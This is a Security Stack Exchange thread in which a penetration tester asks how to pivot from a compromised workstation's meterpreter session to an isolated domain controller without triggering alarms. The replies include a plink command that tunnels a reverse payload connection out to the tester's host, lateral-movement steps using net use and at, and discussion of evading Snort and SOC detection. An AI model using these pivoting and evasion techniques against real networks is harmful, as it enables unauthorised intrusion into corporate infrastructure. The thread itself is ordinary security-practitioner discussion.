3

Let's imagine the following (not uncommon) scenario:

  • I'm doing a pentest from the outside
  • I have a meterpreter session from a company PC that´s within their infrastructure (Let´s say w/ reverse HTTPS)
  • Let`s say I know the domain admin pwd [just for the sake of brevity!]
  • I want to get into the DC
  • The DC can't connect to the internet

How would you go about this?

First challenge is to get meterpreter on the DC without getting caught. My instinct would be to create an executable, sign it, and then be really oldschool: do a "net use \DC\c$ ..." on the machine in the middle and copy it over. Then remotely schedule a task with "at". Is there a more metasploity way to do that? Do the psexec_* modules even work through a windows meterpreter?

Second challenge is: How would the meterpreter on the DC connect back? I could not get the named pipe feature of meterpreter to work reliably. MSF acknowledges receiving a session, then the meterpreter process on the machine in the middle crashes. Ooops. [Edit: It only crashes when the middle machine is using reverse_HTTPS. It works with reverse_tcp, with the odd hang that leaves the process lingering. I filed a bug report. Currently not convinced this is ready for production]

Port forwarding? Middle machine port forwards out and the DC connects through the middle machine to me? HTTPS? Is opening new ports on computers ok in 2018?

What's the way for this scenario that both works and doesn't totally trigger all alarms?

manduca
  • 1,111
  • 7
  • 10

1 Answers1

1

"Hack Naked" - Make sure you don't have any firewall issues to you because you may only get 1 shot at this. Figure out the complexity of getting ports forwarded to your machine. I think this should do it... but it requires testing once you're in to make sure that you can ensure connectivity.

  1. Configure local port forwarding on the victim pc with plink. (assuming windows)

    • Victim listens on 53 or whatever you want (using 53 as example)
    • Victim forwards to your host on XYZ port
    • If using msf or nc, setup the listener.
    • On Victim: plink -batch -l root -pw {password} yourip -p {22} -L 53:127.0.0.1:4444
    • I put {22} in curly brackets because you don't know for sure if you can get port 22 open on that port. Egress rules might not permit outbound ssh. Especially if it's a MS only-shop. You can rack your brain on iptables redirect for a specific port to 22, or just add the listening port to sshd_config. Remembering to restore defaults later.

  2. You would configure your payload to connect to the open port on the victim pc... you're relying on the port forwarding tunnel on the victims port 53 to be received on your system local port 4444.

    • LHOST=victim internal ip
    • LPORT=53

  3. Make sure to verify connectivity and then deliver your payload/execute

Steve Kline
  • 167
  • 5
  • Well this is exactly what I described, and would rather avoid because it so noisy. Might not even get through fw between dc and client. Also plink? Introducing additional artifact? Ouch. – manduca Apr 22 '18 at 04:56
  • Your plink approach will probably not work at all because in a properly managed network the client PC doesn‘t have TCP outbound access. That‘s the reason for reverse_https. – manduca Apr 22 '18 at 05:10
  • You established that you had domain admin credentials, so... that implied that opening ports would not be an issue. In a properly managed network, you probably wouldn't have found domain admin credentials on a regular Joe client PC because they would have separated user, managed, and functional accounts. It's also not uncommon for pentesters to copy minimal tools for their work. Most attacks you launch from meterpreter are recognized and detected by most SEIM analysis anyway... Snort has at least 50+. – Steve Kline Apr 22 '18 at 05:47
  • 1
    Sorry, I guess my posting was unclear. "Let´s assume I have the pwd != Let´s assume they are dumb & blind". But I'm interested in what you say about snort. By attacks you mean portscan & ms08_067? There I guess you are right. But I would guess base functionality is safe. Our snort guy played with metasploit I think 2(?) years ago. Back then snort picked up the staged callbacks, but not the stageless ones. I would guess HTTPS callback and named pipes aren't picked up either, if you supply your own cert and don't use the default pipe name. You have more recent experience with this? – manduca Apr 22 '18 at 06:23
  • Well, assuming the company has a fairly mature red/blue team, they're using more than just an open source Snort repo. They would be using more commercial analytics like RSA Netwitness, Bluecoat(symantec) Sec. Analytics, as well as other SEIMs. It's important to communicate with these teams as your pentesting so they don't block you. The purpose is to get in and "document" if you get caught but proceed through the exercise unless the scope/agreement says you're to stop when/if the SOC catches you. The most recent Windows Defender even blocks meterpreter encoded with Veil... so there's that. – Steve Kline Apr 22 '18 at 13:58